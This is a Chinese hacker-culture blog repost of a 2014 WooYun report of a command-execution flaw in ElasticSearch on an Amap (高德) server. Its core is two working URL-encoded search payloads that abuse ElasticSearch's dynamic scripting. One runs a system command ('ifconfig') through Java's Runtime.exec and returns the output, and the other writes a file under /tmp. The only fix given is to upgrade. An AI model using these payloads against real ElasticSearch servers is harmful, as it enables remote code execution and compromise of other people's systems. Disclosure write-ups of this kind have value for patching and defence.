记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

高德某服务器ElasticSearch命令执行漏洞

2014-07-08 13:40

ElasticSearch存在命令执行漏洞



执行命令代码



http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}



写文件代码



http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

漏洞证明:

x1.png

修复方案:

升级最新版


知识来源: www.wooyun.org/bugs/wooyun-2014-062117

阅读:100454 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“高德某服务器ElasticSearch命令执行漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词